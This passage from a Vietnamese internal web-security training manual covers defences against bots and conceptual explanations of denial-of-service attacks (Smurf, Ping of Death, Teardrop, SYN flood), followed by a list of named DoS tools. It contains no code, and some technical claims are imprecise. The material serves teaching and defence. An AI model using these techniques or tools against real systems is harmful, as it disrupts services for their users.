bot cần lưu ý đến Chanel ( gọi tắt là Chan), Port (mặc đinh là

6667), máy chủ Mirc ( thường mở đầu bằng irc.)

Page 42: Các lổ hổng thường gặp trên hệ thống website

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM

TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN

Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 42

4. Cách Phòng Chống:

a. Thuê một dịch vụ lọc Web

Dịch vụ lọc Web là một trong những cách tốt nhất để đấu tranh với

bot. Các dịch vụ này quét website khi thấy xuất hiện hành vi không bình

thường hoặc có các hành động mã nguy hiểm và khóa site đó từ người

dùng.

Websense, Cyveillance và FaceTime Communications là các ví dụ

điển hình. Tất cả sẽ kiểm tra Internet theo thời gian thực tìm các website

bị nghi ngờ có hành động nguy hiểm như tải JavaScript và các trò lừa đảo

khác ngoài ranh giới của việc duyệt web thông thường. Cyveillance và

Support Intelligence cũng cung cấp dịch vụ cho biết về các tổ chức

website và ISP đã phát hiện là có malware, vì vậy các máy chủ bị tấn

công có thể được sửa chữa kịp thời.

b. Chuyển đổi trình duyệt

Một cách khác để ngăn chặn sự xâm nhập của bot là không nên sử

dụng một trình duyệt. Internet Explorer hay Mozilla Firefox là hai trình

duyệt phổ biến nhất và vì vậy chúng cũng là các trình duyệt mà malware

tập trung tấn công tới. Tương tự như vậy đối với các hệ điều hành. Theo

thống kê thì Macs là hệ điều hành an toàn với botnet bởi vì hầu hết chúng

đều nhằm vào Windows.

c. Vô hiệu hóa các kịch bản

Một cách nữa là vô hiệu hóa trình duyệt khỏi các kịch bản nói chung

(script), điều này có thể gây khó khăn cho một số nhân viên sử dụng ứng

dụng tùy chỉnh và dựa trên nền web trong công việc của họ.

d. Triển khai các hệ thông phát hiện xâm phạm và ngăn chặn xâm

phạm

Một phương pháp khác đó là điều chỉnh các IDS và ISP để chúng có

thể tìm kiếm được các hoạt động tương tự như botnet. Ví dụ, một máy

Page 43: Các lổ hổng thường gặp trên hệ thống website

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM

TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN

Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 43

tính nào đó bất ngờ gặp vấn đề sự cố trên Internet Relay Chat là hoàn

toàn đáng nghi ngờ. Cũng giống như việc kết nối vào các địa chỉ IP ở

xa hoặc địa chỉ DNS không hợp lý. Tuy vấn đề này là khó phát hiện

nhưng chúng ta có cách phát giác khác khi phát hiện thấy sự thu hút

bất ngờ trong lưu lượng SSL trên một máy tính, đặc biệt trong các

cổng không bình thường. Điều đó có thể là kênh mà botnet chiếm

quyền điều khiển đã bị kích hoạt.

Chính vì vậy chúng ta cần một ISP để kiểm tra về những hành vi

không bình thường để chỉ thị cảnh báo các tấn công dựa trên HTTP và thủ

tục gọi từ xa, Telnet- và giả mạo giao thức giải pháp địa chỉ, các tấn công

khác. Mặc dù vậy chúng ta phải nên chú ý rằng nhiều bộ cảm biến ISP sử

dụng phát hiện dựa trên chữ ký, điều đó nghĩa là các tấn công chỉ được bổ

sung vào cơ sở dữ liệu khi nào chúng được phát hiện. Chính vì vậy các

ISP phải cập nhật kịp thời để nhận ra được các tấn công này, bằng không

bộ phát hiện sẽ không còn giá trị.

e. Bảo vệ nội dung được tạo bởi người dùng

Các hoạt động website của riêng bạn cũng phải được bảo vệ để

tránh trở thành kẻ tòng phạm không chủ tâm đối với những kẻ viết

malware. Các blog công cộng và forum của công ty nên được hạn chế chỉ

ở dạng văn bản.

Nếu site của bạn cần cho các thành viên trao đổi file thì nó phải được thiết

lập để cho phép các kiểu file được giới hạn và đảm bảo an toàn, ví dụ với

các file có đuôi mở rộng .jpeg hoặc .mp3. (Tuy vậy những kẻ viết

malware cũng đã bắt đầu nhắm vào đối tượng người chơi MP3)

f. Sử dụng công cụ phần mềm

Nếu bạn phát hiện thấy máy tính bị tiêm nhiễm mà hệ thống

không có cách nào tốt nhất để giải quyết với tình huống này. Bạn

không phải lo sợ điều đó vì các công ty như Symantec xác nhận

rằng họ có thể phát hiện và xóa sạch sự tiêm nhiễm rootkit nguy

Page 44: Các lổ hổng thường gặp trên hệ thống website

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM

TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN

Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 44

hiểm nhất. Công ty này đã đưa ra một nghệ mới trong Veritas,

VxMS (Dịch vụ bản đồ hóa Veritas – Veritas Mapping Service),

đưa ra bộ quét chống virus bỏ qua Windows File System API, thành

phần được điều khiển bởi hệ điều hành có thể gây ra lỗ hổng bởi

một rootkit. VxMS truy cập trực tiếp vào các file thô của hệ thống

Windows NT File System. Bên cạnh đó các hãng phần mềm chống

virus khác cũng đang cố gắng trong việc chống lại rootkit này gồm

có McAfee và FSecure.

B.Dos :

1.Khái Niệm:

-Tấn công DoS là kiểu tấn công vô cùng nguy hiểm, để hiểu được nó ta

cần phải lắm rõ định nghĩa của tấn công DoS và các dạng tấn công DoS.

- Tấn công DoS là một kiểu tấn công mà một người làm cho một hệ thống

không thể sử dụng, hoặc làm cho hệ thống đó chậm đi một cách đáng kể

với người dùng bình thường, bằng cách làm quá tải tài nguyên của hệ

thống.

- Nếu kẻ tấn công không có khả năng thâm nhập được vào hệ thống, thì

chúng cố gắng tìm cách làm cho hệ thống đó sụp đổ và không có khả năng

phục vụ người dùng bình thường đó là tấn công Denial of Service (DoS).

Mặc dù tấn công DoS không có khả năng truy cập vào dữ liệu thực của hệ

thống nhưng nó có thể làm gián đoạn các dịch vụ mà hệ thống đó cung

cấp. Như định nghĩa trên DoS khi tấn công vào một hệ thống sẽ khai thác

những cái yếu nhất của hệ thống để tấn công, những mục đích của tấn

công DoS.

Page 45: Các lổ hổng thường gặp trên hệ thống website

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM

TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN

Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 45

2. Mục Đích: - Cố gắng chiếm băng thông mạng và làm hệ thống mạng bị

ngập (flood), khi đó hệ thống mạng sẽ không có khả năng đáp ứng những

dịch vụ khác cho người dùng bình thường.

- Cố gắng làm ngắt kết nối giữa hai máy, và ngăn chặn quá trình truy cập

vào dịch vụ.

- Cố gắng ngăn chặn những người dùng cụ thể vào một dịch vụ nào đó

- Cố gắng ngăn chặn các dịch vụ không cho người khác có khả năng truy

cập vào.

- Khi tấn công DoS xảy ra người dùng có cảm giác khi truy cập vào dịch

vụ đó như bị:

+ Disable Network - Tắt mạng

+ Disable Organization - Tổ chức không hoạt động

+ Financial Loss – Tài chính bị mất

Page 46: Các lổ hổng thường gặp trên hệ thống website

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM

TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN

Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 46

3. Mục Tiêu Tấn Công:

Như chúng ta biết ở bên trên tấn công DoS xảy ra khi kẻ tấn công sử dụng

hết tài nguyên của hệ thống và hệ thống không thể đáp ứng cho người

dùng bình thường được vậy các tài nguyên chúng thường sử dụng để tấn

công là gì:

- Tạo ra sự khan hiếm, những giới hạn và không đổi mới tài nguyên

- Băng thông của hệ thống mạng (Network Bandwidth), bộ nhớ, ổ đĩa, và

CPU Time hay cấu trúc dữ liệu đều là mục tiêu của tấn công DoS.

- Tấn công vào hệ thống khác phục vụ cho mạng máy tính như: hệ thống

điều hoà, hệ thống điện, hệt hống làm mát và nhiều tài nguyên khác của

doanh nghiệp. Bạn thử tưởng tượng khi nguồn điện vào máy chủ web bị

ngắt thì người dùng có thể truy cập vào máy chủ đó không.

- Phá hoại hoặc thay đổi các thông tin cấu hình.

- Phá hoại tầng vật lý hoặc các thiết bị mạng như nguồn điện, điều hoà…

4. Các kiểu tấn công :

Tấn công Denial of Service chia ra làm hai loại tấn công

- Tấn công DoS: Tấn công từ một cá thể, hay tập hợp các cá thể.

- Tấn công DDoS: Đây là sự tấn công từ một mạng máy tính được thiết kế

để tấn công tới một đích cụ thể nào đó.

Các dạng tấn công DoS

- Smurf

- Buffer Overflow Attack

Page 47: Các lổ hổng thường gặp trên hệ thống website

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM

TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN

Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 47

- Ping of Death

- Teardrop

- SYN Attack

a. Tấn công Smurf

- Là thủ phạm sinh ra cực nhiều giao tiếp ICMP (ping) tới địa chỉ

Broadcast của nhiều mạng với địa chỉ nguồn là mục tiêu cần tấn công.

* Chúng ta cần lưu ý là: Khi ping tới một địa chỉ là quá trình hai chiều –

Khi máy A ping tới máy B máy B reply lại hoàn tất quá trình. Khi tôi ping

tới địa chỉ Broadcast của mạng nào đó thì toàn bộ các máy tính trong

mạng đó sẽ Reply lại tôi. Nhưng giờ tôi thay đổi địa chỉ nguồn, thay địa

chỉ nguồn là máy C và tôi ping tới địa chỉ Broadcast của một mạng nào

đó, thì toàn bộ các máy tính trong mạng đó sẽ reply lại vào máy C chứ

không phải tôi và đó là tấn công Smurf.

- Kết quả đích tấn công sẽ phải chịu nhận một đợt Reply gói ICMP cực

lớn và làm cho mạng bị dớt hoặc bị chậm lại không có khả năng đáp ứng

các dịch vụ khác.

- Quá trình này được khuyếch đại khi có luồng ping reply từ một mạng

được kết nối với nhau (mạng BOT).

Page 48: Các lổ hổng thường gặp trên hệ thống website

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM

TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN

Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 48

- tấn công Fraggle, chúng sử dụng UDP echo và tương tự như tấn công

Smurf.

b.Tấn công Buffer overflow

- Buffer Overflow xảy ra tại bất kỳ thời điểm nào có chương trình ghi

lượng thông tin lớn hơn dung lượng của bộ nhớ đệm trong bộ nhớ.

- Kẻ tấn công có thể ghi đè lên dữ liệu và điều khiển chạy các chương

trình và đánh cắp quyền điều khiển của một số chương trình nhằm thực thi

các đoạn mã nguy hiểm. - Tấn công Buffer Overflow tôi đã trình bày cách

khai thác lỗi này trong bài viết trước về hacking windows cũng trên trang

www.vnexperts.net.

Page 49: Các lổ hổng thường gặp trên hệ thống website

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM

TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN

Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 49

- Quá trình gửi một bức thư điện tử mà file đính kèm dài quá 256 ký tự có

thể sẽ xảy ra quá trình tràn bộ nhớ đệm.

c. Tấn công Ping of Death

- Kẻ tấn công gửi những gói tin IP lớn hơn số lương bytes cho phép của

tin IP là 65.536 bytes.

- Quá trình chia nhỏ gói tin IP thành những phần nhỏ được thực hiện ở

layer II.

- Quá trình chia nhỏ có thể thực hiện với gói IP lớn hơn 65.536 bytes.

Nhưng hệ điều hành không thể nhận biết được độ lớn của gói tin này và sẽ

bị khởi động lại, hay đơn giản là sẽ bị gián đoạn giao tiếp.

Page 50: Các lổ hổng thường gặp trên hệ thống website

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM

TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN

Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 50

- Để nhận biết kẻ tấn công gửi gói tin lớn hơn gói tin cho phép thì tương

đối dễ dàng.

d.Tấn công Teardrop

- Gói tin IP rất lớn khi đến Router sẽ bị chia nhỏ làm nhiều phần nhỏ.

- Kẻ tấn công sử dụng sử dụng gói IP với các thông số rất khó hiểu để

chia ra các phần nhỏ (fragment).

- Nếu hệ điều hành nhận được các gói tin đã được chia nhỏ và không hiểu

được, hệ thống cố gắng build lại gói tin và điều đó chiếm một phần tài

nguyên hệ thống, nếu quá trình đó liên tục xảy ra hệ thống không còn tài

nguyên cho các ứng dụng khác, phục vụ các user khác.

e. Tấn công SYN

Page 51: Các lổ hổng thường gặp trên hệ thống website

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM

TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN

Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 51

- Kẻ tấn công gửi các yêu cầu (request ảo) TCP SYN tới máy chủ bị tấn

công. Để xử lý lượng gói tin SYN này hệ thống cần tốn một lượng bộ nhớ

cho kết nối.

- Khi có rất nhiều gói SYN ảo tới máy chủ và chiếm hết các yêu cầu xử lý

của máy chủ. Một người dùng bình thường kết nối tới máy chủ ban đầu

thực hiện Request TCP SYN và lúc này máy chủ không còn khả năng đáp

lại - kết nối không được thực hiện.

- Đây là kiểu tấn công mà kẻ tấn công lợi dụng quá trình giao tiếp của

TCP theo – Three-way.

Page 52: Các lổ hổng thường gặp trên hệ thống website

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM

TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN

Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 52

- Các đoạn mã nguy hiểm có khả năng sinh ra một số lượng cực lớn các

gói TCP SYN tới máy chủ bị tấn công, địa chỉ IP nguồn của gói tin đã bị

thay đổi và đó chính là tấn công DoS.

- Hình bên trên thể hiện các giao tiếp bình thường với máy chủ và bên

dưới thế hiện khi máy chủ bị tấn công gói SYN đến sẽ rất nhiều trong khi

đó khả năng trả lời của máy chủ lại có hạn và khi đó máy chủ sẽ từ chối

các truy cập hợp pháp.

- Quá trình TCP Three-way handshake được thực hiện: Khi máy A muốn

giao tiếp với máy B. (1) máy A bắn ra một gói TCP SYN tới máy B – (2)

máy B khi nhận được gói SYN từ A sẽ gửi lại máy A gói ACK đồng ý kết

nối – (3) máy A gửi lại máy B gói ACK và bắt đầu các giao tiếp dữ liệu.

- Máy A và máy B sẽ dữ kết nối ít nhất là 75 giây, sau đó lại thực hiện

một quá trình TCP Three-way handshake lần nữa để thực hiện phiên kết

nối tiếp theo để trao đổi dữ liệu.

- Thật không may kẻ tấn công đã lợi dụng kẽ hở này để thực hiện hành vi

tấn công nhằm sử dụng hết tài nguyên của hệ thống bằng cách giảm thời

gian yêu cầu Three-way handshake xuống rất nhỏ và không gửi lại gói

ACK, cứ bắn gói SYN ra liên tục trong một thời gian nhất định và không

bao giờ trả lời lại gói SYN&ACK từ máy bị tấn công.

- Với nguyên tắc chỉ chấp nhận gói SYN từ một máy tới hệ thống sau mỗi

75 giây nếu địa chỉ IP nào vi phạm sẽ chuyển vào Rule deny access sẽ

ngăn cản tấn công này.

5. Công cụ dung để tấn công:

- Jolt2

- Bubonic.c

- Land and LaTierra

Page 53: Các lổ hổng thường gặp trên hệ thống website

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM

TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN

Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 53

- Targa

- Blast20

- Nemesy

- Panther2

- Crazy Pinger

- Some Trouble

- UDP Flood

- FSMax

C.Kết Luận:

Phần trình bày ở trên đã phân tích một số trường hợp có những lỗ

hổng bảo mật, những người tấn công có thể lợi dụng những lỗ hổng này

để tạo ra những lỗ hổng khác tạo thành một chuỗi mắt xích những lỗ

hổng. Ví dụ, một người muốn xâm nhập vào hệ thống mà anh ta không có

tài khoản truy nhập hợp lệ trên hệ thống đó. Trong trường hợp này, trước

tiên anh ta sẽ tìm ra các điểm yếu trên hệ thống, hoặc từ các chính sách

bảo mật, hoặc sử dụng các công cụ dò sét thông tin trên hệ thống đó để

đạt được quyền truy nhập vào hệ thống. Sau khi mục tiêu như nhất đã đạt

được, anh ta có thể tiếp tục tìm hiểu các dịch vụ trên hệ thống, nắm bắt

được các điểm yếu và thực hiện các hành động tấn công tinh vi hơn.

Từ các hoạt động kiểm tra, đánh giá nêu trên, các nhà quản trị hệ

thống có thể rút ra được những kinh nghiệm để có thể cải thiện chính sách

bảo mật hữu hiệu hơn. Cải thiện chính sách có thể là những hành động

nhằm đơn giản công việc người sử dụng, giảm nhẹ tính cồng kềnh, phức

tạp trên hệ thống, hoặc kiểm soát hệ thống chặt chẽ hơn nữa...

Những hoạt đổng cải thiện chính sách bảo mật có thể diễn ra trong suốt

Page 54: Các lổ hổng thường gặp trên hệ thống website

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM

TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN

Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 54

thời gian tồn tại của hệ thống đó, nó gắn liền với các công việc quản trị,

duy trì hệ thống. Đây cũng chính là một yêu cầu trong khi xây dựng một

chính sách bảo mật, cần phải luôn luôn mềm dẻo, có những thay đổi phù

hợp tùy theo điều kiện thực tế.